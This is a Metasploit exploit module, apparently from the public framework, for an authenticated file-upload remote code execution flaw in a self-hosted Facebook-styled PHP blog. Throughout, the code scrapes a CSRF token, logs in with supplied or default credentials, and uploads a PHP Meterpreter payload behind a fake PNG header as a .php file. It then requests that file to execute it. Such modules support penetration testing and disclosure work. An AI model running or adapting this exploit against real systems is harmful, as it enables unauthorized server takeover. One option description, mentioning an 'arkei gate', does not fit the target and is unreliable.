## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info={}) super(update_info(info, 'Name' => "Lightweight facebook-styled blog authenticated remote code execution", 'Description' => %q{ This module exploits the file upload vulnerability of Lightweight self-hosted facebook-styled PHP blog and allows remote code execution. }, 'License' => MSF_LICENSE, 'Author' => [ 'Maide Ilkay Aydogdu ' # author & msf module ], 'References' => [ ['URL', 'https://prodaft.com'] ], 'DefaultOptions' => { 'SSL' => false, 'WfsDelay' => 5, }, 'Platform' => ['php'], 'Arch' => [ ARCH_PHP], 'Targets' => [ ['PHP payload', { 'Platform' => 'PHP', 'Arch' => ARCH_PHP, 'DefaultOptions' => {'PAYLOAD' => 'php/meterpreter/bind_tcp'} } ] ], 'Privileged' => false, 'DisclosureDate' => "Dec 19 2018", 'DefaultTarget' => 0 )) register_options( [ OptString.new('USERNAME', [true, 'Blog username', 'demo']), OptString.new('PASSWORD', [true, 'Blog password', 'demo']), OptString.new('TARGETURI', [true, 'The URI of the arkei gate', '/']), ] ) end def login res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path), ) cookie = res.get_cookies token = res.body.split('":"')[1].split('"')[0] # token = res.to_s.scan(/"[abcdef0-9]{10}"}/)[0].to_s.tr('"}', '') print_status("Got CSRF token: #{token}") print_status('Logging into the blog...') res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'ajax.php'), 'headers' => { 'Csrf-Token' => token, }, 'cookie' => cookie, 'data' => "action=login&nick=#{datastore['USERNAME']}&pass=#{datastore['PASSWORD']}", ) if res && res.code == 200 print_good("Successfully logged in with #{datastore['USERNAME']}") json = res.get_json_document if json.empty? && json['error'] print_error('Login failed!') return nil, nil end else print_error("Login failed! Status code #{res.code}") return nil, nil end return cookie, token end def exploit cookie, token = login unless cookie || token fail_with(Failure::UnexpectedReply, "#{peer} - Authentication Failed") end data = Rex::MIME::Message.new # jWPU1tZmoAZgooopowaNGjRq0KhBowaNGjRqEHYAALgBALdg7lyPAAAAAElFTkSuQmCC png = Base64.decode64('iVBORw0KGgoAAAANSUhEUgAAABgAAAAbCAIAAADpgdgBAAAACXBIWXMAAA7EAAAOxAGVKw4bAAAAJElEQVQ4') # only the PNG header data.add_part(png+payload.encoded, 'image/png', 'binary', "form-data; name=\"file\"; filename=\"mia.php\"") print_status('Uploading shell...') res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path,'ajax.php'), 'cookie' => cookie, 'vars_get' => { 'action' => 'upload_image' }, 'headers' => { 'Csrf-Token' => token, }, 'ctype' => "multipart/form-data; boundary=#{data.bound}", 'data' => data.to_s, ) # print_status(res.to_s) if res && res.code == 200 json = res.get_json_document if json.empty? || !json['path'] fail_with(Failure::UnexpectedReply, 'Unexpected json response') end print_good("Shell uploaded as #{json['path']}") else print_error("Server responded with code #{res.code}") print_error("Failed to upload shell") return false end send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, json['path'])}, 3 ) print_good("Payload successfully triggered !") end end